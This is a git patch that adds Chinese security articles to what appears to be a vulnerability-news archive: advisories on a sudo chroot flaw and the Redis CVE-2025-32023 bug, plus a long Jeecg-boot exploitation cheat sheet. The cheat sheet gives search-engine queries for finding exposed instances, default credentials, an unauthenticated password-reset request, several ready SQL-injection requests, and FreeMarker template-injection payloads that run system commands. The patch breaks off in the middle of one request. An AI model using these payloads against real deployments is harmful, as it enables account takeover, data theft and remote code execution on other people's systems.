From 426b9933c3ad487c5dd89fc8ea37fc3e6b22d879 Mon Sep 17 00:00:00 2001 From: test Date: Tue, 8 Jul 2025 04:30:36 +0000 Subject: [PATCH] =?UTF-8?q?=E5=88=86=E4=BA=ABJeecg-boot=E4=B8=AD=E7=9A=84N?= =?UTF-8?q?day=E6=BC=8F=E6=B4=9E=E6=B1=87=E6=80=BB=E6=89=93=E6=B3=95?= =?UTF-8?q?=E3=80=81=E6=B1=89=E7=8E=8BEFaceGo=20upload.do=20=E4=BB=BB?= =?UTF-8?q?=E6=84=8F=E6=96=87=E4=BB=B6=E4=B8=8A=E4=BC=A0=E6=BC=8F=E6=B4=9E?= =?UTF-8?q?=E3=80=81=E6=B1=89=E7=8E=8Be=E8=84=B8=E9=80=9A=E7=BB=BC?= =?UTF-8?q?=E5=90=88=E7=AE=A1=E7=90=86=E5=B9=B3=E5=8F=B0SQL=E6=B3=A8?= =?UTF-8?q?=E5=85=A5=E6=BC=8F=E6=B4=9E=E3=80=81Linux=20=E2=80=9Csudo?= =?UTF-8?q?=E2=80=9D=E5=85=B3=E9=94=AE=E6=BC=8F=E6=B4=9E=E5=85=81=E8=AE=B8?= =?UTF-8?q?=E4=BB=BB=E4=BD=95=E7=94=A8=E6=88=B7=E6=8E=A7=E5=88=B6=E7=B3=BB?= =?UTF-8?q?=E7=BB=9F=E3=80=81=E3=80=90=E5=B7=B2=E5=A4=8D=E7=8E=B0=E3=80=91?= =?UTF-8?q?Redis=20hyperloglog=20=E8=BF=9C=E7=A8=8B=E4=BB=A3=E7=A0=81?= =?UTF-8?q?=E6=89=A7=E8=A1=8C=E6=BC=8F=E6=B4=9E(CVE-2025-32023)=E5=AE=89?= =?UTF-8?q?=E5=85=A8=E9=A3=8E=E9=99=A9=E9=80=9A=E5=91=8A=E3=80=81?= MIME-Version: 1.0 Content-Type: text/plain; charset=UTF-8 Content-Transfer-Encoding: 8bit --- data.json | 7 +- ...键漏洞允许任何用户控制系统.md | 129 ++ ...¼�洞(CVE-2025-32023)安全风险通告.md | 157 +++ ...«Jeecg-boot中的Nday漏洞汇总打法.md | 1177 +++++++++++++++++ ...ceGo upload.do 任意文件上传漏洞.md | 113 ++ ...脸通综合管理平台SQL注入漏洞.md | 27 + 6 files changed, 1609 insertions(+), 1 deletion(-) create mode 100644 doc/2025-07/Linux “sudo”关键漏洞允许任何用户控制系统.md create mode 100644 doc/2025-07/【已复现】Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)安全风险通告.md create mode 100644 doc/2025-07/分享Jeecg-boot中的Nday漏洞汇总打法.md create mode 100644 doc/2025-07/汉王EFaceGo upload.do 任意文件上传漏洞.md create mode 100644 doc/2025-07/汉王e脸通综合管理平台SQL注入漏洞.md diff --git a/data.json b/data.json index 3fb0ff40..031e7cf5 100644 --- a/data.json +++ b/data.json @@ -15835,5 +15835,10 @@ "https://mp.weixin.qq.com/s?__biz=Mzg3MDgyMzkwOA==&mid=2247491712&idx=1&sn=e2d5206def5474dacc15a2dd6c6969cc": "清源SCA社区每日漏洞提早感知情报、新增CVE及投毒情报推送-2025年07月04~06日", "https://mp.weixin.qq.com/s?__biz=MzIzMTIzNTM0MA==&mid=2247497824&idx=1&sn=d05e05ef9f38616d66fc34d888663358": "作为一名不具备天赋的普通人,如何在漏洞赏金计划中取得成功", "https://mp.weixin.qq.com/s?__biz=Mzg2NTk4MTE1MQ==&mid=2247487547&idx=1&sn=33033a7415fe3aabffa5f5711e51030a": "PHP 漏洞 CVE-2025-1735(SQLi∕崩溃)", - "https://mp.weixin.qq.com/s?__biz=MzIwNDk0MDgxMw==&mid=2247500084&idx=1&sn=38b270f2be6c4a876c14b613950e4899": "CNVD漏洞周报2025年第25期" + "https://mp.weixin.qq.com/s?__biz=MzIwNDk0MDgxMw==&mid=2247500084&idx=1&sn=38b270f2be6c4a876c14b613950e4899": "CNVD漏洞周报2025年第25期", + "https://mp.weixin.qq.com/s?__biz=Mzk0Mzc1MTI2Nw==&mid=2247492761&idx=1&sn=74dceba6e96dc5542167e58b17b22472": "分享Jeecg-boot中的Nday漏洞汇总打法", + "https://mp.weixin.qq.com/s?__biz=MzkzMTcwMTg1Mg==&mid=2247492070&idx=1&sn=a76b100b910f393235352f1b7824dc12": "汉王EFaceGo upload.do 任意文件上传漏洞", + "https://mp.weixin.qq.com/s?__biz=MzIxMTg1ODAwNw==&mid=2247500929&idx=1&sn=dee2bdaa182554616ea85ceef4775672": "汉王e脸通综合管理平台SQL注入漏洞", + "https://mp.weixin.qq.com/s?__biz=MzI5NTUzNzY3Ng==&mid=2247489168&idx=1&sn=931ea8f0161289c6d7003a69fb820de6": "Linux “sudo”关键漏洞允许任何用户控制系统", + "https://mp.weixin.qq.com/s?__biz=MzU5NDgxODU1MQ==&mid=2247503563&idx=1&sn=09169a0ba263b129a115d0fa708b0d02": "【已复现】Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)安全风险通告" } \ No newline at end of file diff --git a/doc/2025-07/Linux “sudo”关键漏洞允许任何用户控制系统.md b/doc/2025-07/Linux “sudo”关键漏洞允许任何用户控制系统.md new file mode 100644 index 00000000..60f11b76 --- /dev/null +++ b/doc/2025-07/Linux “sudo”关键漏洞允许任何用户控制系统.md @@ -0,0 +1,129 @@ +# Linux “sudo”关键漏洞允许任何用户控制系统 + SecHub网络安全社区 2025-07-08 03:29 + +**** +**** +**** +**点击蓝字 关注我们** + +![](https://mmbiz.qpic.cn/mmbiz_png/8icWLyUKibZZrPdaxnm18Zscp6Xcu0OiaMwuh8LP87lPQLxMwiceAsv3TurmE7zZOulOhMELnQ2OulwFIJkbmB3bRg/640?wx_fmt=png "") + + +**免责声明** + +本文发布的工具和脚本,仅用作测试和学习研究,禁止用于商业用途,不能保证其合法性,准确性,完整性和有效性,请根据情况自行判断。 + +如果任何单位或个人认为该项目的脚本可能涉嫌侵犯其权利,则应及时通知并提供身份证明,所有权证明,我们将在收到认证文件后删除相关内容。 + +文中所涉及的技术、思路及工具等相关知识仅供安全为目的的学习使用,任何人不得将其应用于非法用途及盈利等目的,间接使用文章中的任何工具、思路及技术,我方对于由此引起的法律后果概不负责。 +## 🌟简介 + +![](https://mmbiz.qpic.cn/mmbiz_png/8icWLyUKibZZrmFP1KibshFcUFuWkyKQnCP8VpOWCvmxF1DreUH9msP53Pv9bC7s5Cib9icpvRbC7xwSViaEnBibbhyRQ/640?wx_fmt=png&from=appmsg "") + +**** +**全球数百万台 Linux 系统,包括运行关键服务的系统,都可能受到一种新的、易于利用的 sudo 漏洞的威胁,该漏洞允许未经授权的用户在 Ubuntu、Fedora 和其他服务器上以 root 身份运行命令。** + +Sudo 是一个允许用户在 Linux 机器上以 root 或超级用户身份运行命令的工具。Stratascale 网络安全研究小组(CRU)发现了影响 sudo 的两个关键漏洞。 + +安全研究人员警告称,任何用户都可能迅速获得无限制的访问权限。攻击者可以利用这一点,以 root 身份运行任意命令,并完全控制系统。 + +该漏洞首次出现在 2023 年 6 月发布的 1.9.14 版本中,并在 2025 年 6 月 30 日发布的最新 sudo 版本 1.9.17p1 中修复。该漏洞已在 Ubuntu 和 Fedora 服务器上得到验证,但可能涉及更多系统。 + +这些漏洞可能导致在受影响系统上提升权限至 root. + +他们敦促管理员尽快安装最新的 sudo 软件包,因为不存在其他解决方案。 + +Stratascale 网络安全研究单位的 Rich Mirch 解释说:“默认的 sudo 配置存在漏洞。” + +研究人员公开发布了概念验证代码,其他团队能够复制这一发现。 +## 漏洞涉及 sudo chroot 功能 + +关键漏洞存在于 sudo 中很少使用的 chroot 选项中。此选项修改特定进程的工作根目录,并限制对文件系统的其他部分的访问。 + +虽然其目的是将用户锁定在其主目录中,但漏洞允许他们突破限制并提升权限。利用这些漏洞不需要为用户定义任何 sudo 规则。 + +“因此,如果安装了易受攻击的版本,任何本地无特权的用户都可能提升权限到 root,”研究人员表示。 + +利用这个漏洞,攻击者需要在用户指定的根目录下创建一个 /etc/nsswitch.conf 文件,并诱使 sudo 加载任意共享库。该文件定义了系统如何解析用户账户、组、主机名、服务等内容。 + +sudo 维护者确认了该问题,并在版本 1.9.17p1 中弃用了 chroot 选项。 + +“攻击者可以利用 sudo 的 -R (--chroot) 选项以 root 身份运行任意命令,即使这些命令没有在 sudoers 文件中列出,”他们在一份 公告 中表示。 + +Mirch 的脚本展示了非特权攻击者如何创建一个临时目录,添加一个函数以授予自身完全 root 访问权限的文件,编译一个恶意共享库来加载它,然后利用 chroot 选项诱使 sudo 以提升的权限执行它。因此,攻击者可以有效地完全控制系统。 + +由于降低环境安全性的风险,建议管理员避免使用 chroot 选项。 + +“搜索环境中任何对 chroot 选项的使用。检查/etc/sudoers 中定义的所有 Sudo 规则,以及/etc/sudoers.d 下的文件。如果 Sudo 规则存储在 LDAP 中,请使用 ldapsearch 等工具导出规则,”Mirch 写道。 + +这一漏洞可能影响数百万台系统。德国出版物 heise.de 甚至发现了一家大型德国云托管提供商上全新安装的 Ubuntu 虚拟机仍然容易受到该漏洞的影响,尽管已经发布了补丁。 + +**影响版本** +``` +CVE-2025-32462: +1.9.0 <= sudo <= 1.9.17 +1.8.8 <= sudo <= 1.8.32 +CVE-2025-32463: +1.9.14 <= sudo <= 1.9.17 +注意:Sudo 的旧版本(当前 <= 1.8.32)不易受到攻击,因为不存在 chroot 功能。 +``` + +相关POC: +``` +https://github.com/K1tt3h/CVE-2025-32463-POC +``` + + + + +欢迎关注SecHub网络安全社区,SecHub网络安全社区目前邀请式注册,邀请码获取见公众号菜单【邀请码】 + +**#** + + +**企业简介** + + +**赛克艾威 - 网络安全解决方案提供商** + +**** +       北京赛克艾威科技有限公司(简称:赛克艾威),成立于2016年9月,提供全面的安全解决方案和专业的技术服务,帮助客户保护数字资产和网络环境的安全。 + + +安全评估|渗透测试|漏洞扫描|安全巡检 + +代码审计|钓鱼演练|应急响应|安全运维 + +重大时刻安保|企业安全培训 + +![](https://mmbiz.qpic.cn/mmbiz_png/8icWLyUKibZZrPdaxnm18Zscp6Xcu0OiaMwuh8LP87lPQLxMwiceAsv3TurmE7zZOulOhMELnQ2OulwFIJkbmB3bRg/640?wx_fmt=png "") + + +**联系方式** + +电话|010-86460828  + +官网|https://sechub.com.cn + + +![](https://mmbiz.qpic.cn/sz_mmbiz_gif/MVPvEL7Qg0FW5uwU0BZtn2lmMrLPwpibCeCVbtBFDRkbFb7n7ibhPRxg20spUo9mUIiakmRYABB88Idl81IpGuXfw/640?wx_fmt=gif "") + +**关注我们** + +![](https://mmbiz.qpic.cn/mmbiz_png/SUZ43ICubr4mWJcUARDKYbQooQjbjbmqZTerAIXqDX9CaVxXbB7pyWwnMRklrCJias9r59PhnJAxZ4e3gYjyqVQ/640?wx_fmt=png "") + +![](https://mmbiz.qpic.cn/mmbiz_png/SUZ43ICubr4mWJcUARDKYbQooQjbjbmqZTerAIXqDX9CaVxXbB7pyWwnMRklrCJias9r59PhnJAxZ4e3gYjyqVQ/640?wx_fmt=png "") + + + +![](https://mmbiz.qpic.cn/mmbiz_jpg/8icWLyUKibZZrPdaxnm18Zscp6Xcu0OiaMwyhlWCYDVqK38BA5dbjKkH7icWmAew7SYRA7ao1bFibialrMvmQ9ib0TBvw/640?wx_fmt=jpeg "") + + +**公众号:** +sechub安全 + +**哔哩号:** +SecHub官方账号 + + + diff --git a/doc/2025-07/【已复现】Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)安全风险通告.md b/doc/2025-07/【已复现】Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)安全风险通告.md new file mode 100644 index 00000000..33b3fb05 --- /dev/null +++ b/doc/2025-07/【已复现】Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)安全风险通告.md @@ -0,0 +1,157 @@ +# 【已复现】Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)安全风险通告 + 奇安信 CERT 2025-07-08 03:38 + +●  +点击↑蓝字关注我们,获取更多安全风险通告 + +

漏洞概述

漏洞名称

Redis hyperloglog 远程代码执行漏洞

漏洞编号

QVD-2025-26361,CVE-2025-32023

公开时间

2025-07-07

影响量级

百万级

奇安信评级

高危

CVSS 3.1分数

7.0

威胁类型

代码执行

利用可能性

高

POC状态

已公开

在野利用状态

未发现

EXP状态

未公开

技术细节状态

未公开

危害描述:经过身份验证的本地用户可以使用特制的字符串来触发 hyperloglog 操作中的堆栈/堆越界写入,从而可能导致远程代码执行。

+ + +**0****1** + +**漏洞详情** + +**>** +**>** +**>** +**>** + +**影响组件** + +Redis 是一个开源的、基于内存的数据库,它支持多种数据结构,如字符串、哈希表、列表、集合等。Redis 具有高性能、低延迟的特点,广泛应用于缓存、消息队列、会话存储等场景。 + +**>** +**>** +**>** +**>** + +**漏洞描述** + +近日,奇安信CERT监测到官方修复 +Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023),该漏洞产生的原因是 Redis 在处理 hyperloglog 操作时,未对输入字符串进行严格验证,导致经过身份验证的本地用户可以使用特制的字符串来触发 hyperloglog 操作中的堆栈/堆越界写入,从而可能导致远程代码执行。 +目前该漏洞POC已在互联网上公开。 +**鉴于该漏洞影响范围较大,建议客户尽快做好自查及防护。** + +**** +**** + + +**02** + +**影响范围** + +**>** +**>** +**>** +**>** + +**影响版本** + +8.0.* <= Redis < 8.0.3 + +7.4.* <= Redis < 7.4.5 + +7.2.* <= Redis < 7.2.10 + +2.8 <= Redis < 6.2.19 + +**>** +**>** +**>** +**>** + +**其他受影响组件** + +无 + + +**03** + +**复现情况** + +目前,奇安信威胁情报中心安全研究员已成功复现 +Redis hyperloglog 远程代码执行漏洞(CVE-2025-32023)**** +,截图如下: + +![](https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4ibD1RBVdq1wslmObQmqcVwPB2WicD7xP8EOJWUFFR38BKu5Lm0jx3lxgB06U91YibhLzDqeUmR3zOMA/640?wx_fmt=png&from=appmsg "") + + +**04** + +**处置建议** + +**>** +**>** +**>** +**>** + +**安全更新** + +目前官方已有可更新版本,建议受影响用户升级至最新版本: + +Redis 8.0.* >= 8.0.3 + +Redis 7.4.* >= 7.4.5 + +Redis 7.2.* >= 7.2.10 + +Redis >= 6.2.19 + +官方补丁下载地址: + +https://github.com/redis/redis/releases + +修复缓解措施: + +使用ACL限制用户执行 hyperloglog 操作。 + + +**05** + +**参考资料** + +[1]https://github.com/redis/redis/security/advisories/GHSA-rp2m-q4j6-gr43 + +[2] +https://github.com/redis/redis/commit/50188747cbfe43528d2719399a2a3c9599169445 + + + +**06** + +**时间线** + +2025年7月8日,奇安信 CERT发布安全风险通告。 + + + +**08** + +**漏洞情报服务** + +奇安信ALPH +A +威胁分析平台已支持漏洞情报订阅服务: + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4ibpFEkqfMZfO3smS6RKd9BY9IJ0MPzeiashvK2XLpdl3XtTtCD91h0jS26fqvuWpEMXgmXa85qLkoA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp "漏洞订阅上线.png") + + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/3tG2LbK7WG3tezJEzJsicLSWCGsIggLbcfk4LB5WK7pdSwMksxPOAoHuibjQpBlEId4nyIIw52n2J8N8MowYZcjA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp "") + + +![图片](https://mmbiz.qpic.cn/mmbiz_png/EkibxOB3fs4ibpFEkqfMZfO3smS6RKd9BYBVaibvBq1vXprZIc191LXKibdiaApA16q3UgmibQDv4yW09qT88J3jRUfA/640?wxfrom=5&wx_lazy=1&wx_co=1&wx_fmt=other&tp=webp "CERT LOGO.png") + +**奇安信 CERT** + +**致力于** +第一时间为企业级用户提供**权威** +漏洞情报和**有效** +解决方案。 + + + +点击↓**阅读原文** +,到**ALPHA威胁分析平台** +订阅更多漏洞信息。 + diff --git a/doc/2025-07/分享Jeecg-boot中的Nday漏洞汇总打法.md b/doc/2025-07/分享Jeecg-boot中的Nday漏洞汇总打法.md new file mode 100644 index 00000000..281dfecd --- /dev/null +++ b/doc/2025-07/分享Jeecg-boot中的Nday漏洞汇总打法.md @@ -0,0 +1,1177 @@ +# 分享Jeecg-boot中的Nday漏洞汇总打法 +zm 神农Sec 2025-07-08 01:00 + +扫码加圈子 + +获内部资料 + +![](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWXLicr9MthUBGib1nvDibDT4r6iaK4cQvn56iako5nUwJ9MGiaXFdhNMurGdFLqbD9Rs3QxGrHTAsWKmc1w/640?wx_fmt=jpeg&from=appmsg "") + + +![](https://mmbiz.qpic.cn/mmbiz_png/b96CibCt70iaaJcib7FH02wTKvoHALAMw4fchVnBLMw4kTQ7B9oUy0RGfiacu34QEZgDpfia0sVmWrHcDZCV1Na5wDQ/640?wx_fmt=png&wxfrom=13&wx_lazy=1&wx_co=1&tp=wxpic "") + + +# + +网络安全领域各种资源,EDUSRC证书站挖掘、红蓝攻防、渗透测试等优质文章,以及工具分享、前沿信息分享、POC、EXP分享。 +不定期分享各种好玩的项目及好用的工具,欢迎关注。加内部圈子,文末有彩蛋(知识星球优惠卷)。 +# + +文章作者:zm + +文章来源:https://www.freebuf.com/articles/web/436956.html + + +**分享Jeecg-boot常见漏洞汇总** + + +## 前言 + +jeecg-boot漏洞笔记记录一下,大佬勿喷。 + +小白可以直接收藏下来学习一下很多poc我都直接给出来了,基本就是我的笔记。 + +如果,有不对的可以指正一下,一起学习。 +## jeecg-boot介绍 +``` +官网地址: +https://jeecg.com +开源项目地址: +https://github.com/zhangdaiscott/jeecg-boot +``` + +![1751073890_685f446203ce33ac739d0.png!small](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHfwS1VicQhuod4ocStvzkxACXWm4eicYlQ7r4PmaEQ4bSzb0p30mFDJfg/640?wx_fmt=jpeg&from=appmsg "") +## 资产测绘 +> fofa: +> body="/sys/common/pdf/pdfPreviewIframe" + +title="Jeecg-Boot 快速开发平台" || body="积木报表" + +body="jeecg-boot" + +app="JEECG" + +icon_hash="1380908726" + +icon_hash="-250963920" + + +![1751074165_685f457555c409dcd6741.png!small?1751074165285](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHwAicicuNQPdQwOOM3JSOCWT5RaU8lYrxe97JUshLaYX9p2EGIvOvib7tg/640?wx_fmt=jpeg&from=appmsg "") +## 常见情况 + +加载动画 + +![1751074465_685f46a153dfa564857d2.png!small?1751074465213](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHEXmVyFAyL5fRelxvVxboRfJblJvV3tbTD6zNPX29onAuHalDK4nkSg/640?wx_fmt=jpeg&from=appmsg "") + +![1751074352_685f463098ada0ee7f739.png!small?1751074352654](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHMJphMDtkBf2AyibNoMaWzpkMdibKMe87lgMyjsvaWWlXcUibricWFxiapXQ/640?wx_fmt=jpeg&from=appmsg "") + +![1751074496_685f46c03fc59e5f87987.png!small?1751074496168](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHxf9E7JmIYBicR2HlxjPhvjpfwaJicHDohYZSThr2VppjHlAbPG8icF21w/640?wx_fmt=jpeg&from=appmsg "") + +出现一下这几种情况基本可以确定是jeecg-boot,也可以通过接口或者图标等信息进行判定。 +## 常见弱口令漏洞 +> admin/123456 +> jeecg/123456 +> admn/admin +> test/test +> demo/test +> jeecg/jeecg123456 +> guest/guest + + +![1751076190_685f4d5e730f2eaae1882.png!small?1751076190863](https://mmbiz.qpic.cn/sz_mmbiz_jpg/b7iaH1LtiaKWWnhibficl8TfsicnmWibZI9PxHqu5Hbf7YlQoIdlanS1T4iaYdSRibb1qEJ4ho2XmaPQvo7Cic6fPRBwhoQ/640?wx_fmt=jpeg&from=appmsg "") +## JeecgBoot passwordChange接口任意用户密码重置 + +GET /jeecg-boot/sys/user/passwordChange?username=admin&password=admin&smscode=&phone= HTTP/1.1 + +Host:  + +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:132.0) Gecko/20100101 Firefox/132.0 + +Accept: */* + +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 + +Accept-Encoding: gzip, deflate, br + +Connection: keep-alive +## jeecg-boot-checkOnlyUser信息泄露漏洞 +> /jeecg-boot/sys/user/querySysUser?username=admin +> +> Jeecg-Boot 2.4.5及之前版本存在不安全权限漏洞。攻击者可利用该漏洞通过uri:/sys/user/checkOnlyUser?username=admin提升权限并查看敏感信息。 + +## jeecg-boot-目录遍历漏洞 +> /jeecg-boot/online/cgform/head/fileTree?_t=1632524014&parentPath=/ +> +> 低权限账号访问直接返回服务器文件目录信息 + +## Jeecg-boot 3.4.4 /sys/dict/queryTableData SQL注入 + +在Jeecg-boot 3.4.4中曾发现分类为致命的漏洞。 此漏洞会影响未知代码文件/sys/dict/queryTableData。 手动调试的不合法输入可导致 SQL注入。 + + +POST /jeecg-boot/jmreport/qurestSql HTTP/1.1 + +User-Agent: Mozilla/5.0 (Windows; U; Windows NT 5.2; en-US) AppleWebKit/525.13 (KHTML, like Gecko) Chrome/0.2.149.29 Safari/525.13 + +Content-Type: application/json; charset=utf-8 + +Content-Length: 127 + +Host:  + +Connection: close + +Accept-Encoding: gzip, deflate + +{"apiSelectId":"1316997232402231298","id":"1' or '%1%' like (updatexml(0x3a,concat(1,(select md5(123456))),1)) or '%%' like '"} +## JeecgBoot onlDragDatasetHead/getTotalData SQL注入 + +JeecgBoot v3.7.1 通过组件 /onlDragDatasetHead/getTotalData 存在 SQL 注入漏洞。 + + +POST /jeecg-boot/drag/onlDragDatasetHead/getTotalData HTTP/2 + +Host:  + +Accept-Encoding: gzip, deflate + +Accept: */* + +Accept-Language: en-US;q=0.9,en;q=0.8 + +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/109.0.5414.75 Safari/537.36 + +Content-Type: application/json + +Content-Length: 281 + +{"tableName":"sys_user","compName":"test","condition":{"filter":{}},"config":{"assistValue":[],"assistType":[],"name":[{"fieldName":"concat(0x7e,version(),0x7e)","fieldType":"string"},{"fieldName":"id","fieldType":"string"}],"value":[{"fieldName":"id","fieldType":"1"}],"type":[]}} +## jeecg-boot-getDictItemsByTable SQL注入漏洞 + +JeecgBoot是一款基于代码生成器的低代码开发平台,它专为简化Java项目开发流程、提高开发效率而设计。攻击者通过注入恶意的SQL代码,能够窃取、篡改或删除数据库中的数据,甚至执行系统命令,对网站和服务器造成严重影响。 + + +GET /jeecg-boot/sys/ng-alain/getDictItemsByTable/'%20from%20sys_user/*,%20'/x.js HTTP/1.1 + +Host:  + +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0 + +Accept: */* + +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 + +Accept-Encoding: gzip, deflate, br + +Sec-Purpose: prefetch + +Connection: close + +Priority: u=6 +## Jeecg-Boot /jmreport/show SQL注入漏洞 + +jeecg-boot 3.5.0和3.5.1 版本存在安全漏洞,该漏洞源于 /jeecg-boot/jmreport/show 接口的 id 参数存在SQL注入漏洞。 + + +POST /jeecg-boot/jmreport/show HTTP/1.1 + +Host:  + +User-Agent: Mozilla/5.0 (Windows NT 5.1) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/34.0.1866.237 Safari/537.36 + +Connection: close + +Content-Length: 182 + +Content-Type: application/json;charset=UTF-8 + +Accept-Encoding: gzip + +{ + +"id": "961455b47c0b86dc961e90b5893bff05", + +"apiUrl": "", + +"params": { + +"id ": "1 ' or ' % 1 % ' like (updatexml(0x3a,concat(1,(version())),1)) or ' % % ' like '" + +} + +} +## jeecg-boot sys/duplicate/check SQL注入 + +/sys/duplicate/check 接口SQL注入,checksql可以被绕过,该漏洞需要进行身份认证。 + + +GET /jeecg-boot/sys/duplicate/check?tableName=v3_hello&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(0))&fieldVal=1&dataId=asd HTTP/1.1 + +Host:  + +Accept-Encoding: gzip, deflate + +Accept: */* + +Accept-Language: en-US;q=0.9,en;q=0.8 + +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 + +Connection: close + +Cache-Control: max-age=0 + +X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU + + +GET /jeecg-boot/sys/duplicate/check?tableName=sys_log&fieldName=1+and%09if(user(%20)='root@localhost',sleep(0),sleep(10))&fieldVal=1000&dataId=2000 HTTP/1.1 + +Host:  + +Accept-Encoding: gzip, deflate + +Accept: */* + +Accept-Language: en-US;q=0.9,en;q=0.8 + +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/103.0.5060.114 Safari/537.36 + +Connection: close + +Cache-Control: max-age=0 + +X_ACCESS_TOKEN: eyJ0eXAi0iJKV1QiLCJhbGci0iJIUzI1Ni J9.eyJleHAi0jE2NzA2NjUy0TQsInVzZXJ uYW1lIjoiYWRtaW4i fQ.bL0e7k3rbFEewdMoL2YfPCo9rtzx7g9 KLjB2LK-J9SU +## JeecgBoot jmreport/loadTableData SSTI模板注入漏洞 + +jeecg-boot 版本 3.5.3 中的 SSTI 注入漏洞允许远程攻击者通过对 /jmreport/loadTableData 组件进行精心设计的 HTTP 请求执行任意代码。 + + +POST /jeecg-boot/jmreport/loadTableData HTTP/1.1 + +Host:  + +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:109.0) Gecko/20100101 Firefox/116.0 + +Accept: application/json, text/plain, */* + +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 + +Accept-Encoding: gzip, deflate + +Content-Type: application/json;charset=UTF-8 + +X-Sign: AD0488642A880C68C8E3551C3BE0F6F5 + +X-TIMESTAMP: 1699726206096 + +X-Access-Token: null + +token: null + +JmReport-Tenant-Id: null + +Content-Length: 167 + +Connection: close + +Cookie: Hm_lvt_5819d05c0869771ff6e6a81cdec5b2e8=1699726144; Hm_lpvt_5819d05c0869771ff6e6a81cdec5b2e8=1699726162 + +{"dbSource":"","sql":"select '<#assign value=\"freemarker.template.utility.Execute\"?new()>${value(\"whoami\")}'","tableName":"test_demo);","pageNo":1,"pageSize":10} +## JeecgBoot AviatorScript表达式注入 + +积木报表软件存在AviatorScript代码注入RCE漏洞。使用接口/jmreport/save处在text中写入AviatorScript表达式。访问/jmreport/show触发AviatorScript解析从而导致命令执行。 + + +POST /jeecg-boot/jmreport/queryFieldBySql?previousPage=xxx&jmLink=YWFhfHxiYmI=&token=123 HTTP/1.1 + +Host:  + +User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64; rv:109.0) Gecko/20100101 Firefox/115.0 + +Accept: application/json, text/plain, */* + +Content-Type: application/json + +Content-Length: 108 + +{"sql":"select 'result:<#assign ex=\"freemarker.template.utility.Execute\"?new()> ${ex(\"whoami \") }'"  + +} +## jeecg-boot后台/sysMessageTemplate/sendMsg接口freemaker模板注入 + +jeecg-boot的Freemarker模板注入导致远程命令执行, 远程攻击者可利用该漏洞调用在系统上执行任意命令。 + + +1、添加一个测试模板 + + +POST /jeecg-boot/sys/message/sysMessageTemplate/add HTTP/1.1 + +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0 + +Accept: application/json, text/plain, */* + +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 + +Accept-Encoding: gzip, deflate, br + +X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao + +Tenant-Id: 0 + +Sec-Fetch-Dest: empty + +Sec-Fetch-Mode: cors + +Sec-Fetch-Site: cross-site + +Priority: u=0 + +Te: trailers + +Connection: close + +Content-Type: application/json;charset=UTF-8 + +Content-Length: 141 + +{"templateType":"1","templateCode":"5","templateName":"test111","templateContent":"${\"freemarker.template.utility.Execute\"?new()(\"id\")}"} + +2、发送模板 + +POST /jeecg-boot/sys/message/sysMessageTemplate/sendMsg HTTP/1.1 + +Host:  + +User-Agent: Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:133.0) Gecko/20100101 Firefox/133.0 + +Accept: application/json, text/plain, */* + +Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2 + +Accept-Encoding: gzip, deflate, br + +X-Access-Token: eyJ0eXAiOiJKV1QiLCJhbGciOiJIUzI1NiJ9.eyJleHAiOjE3MzYyMTcyNDQsInVzZXJuYW1lIjoiYWRtaW4ifQ.-Z6FINUMTWQkOR6u009cde9BFyb-l65VWRhUXDz_2ao + +Tenant-Id: 0 + 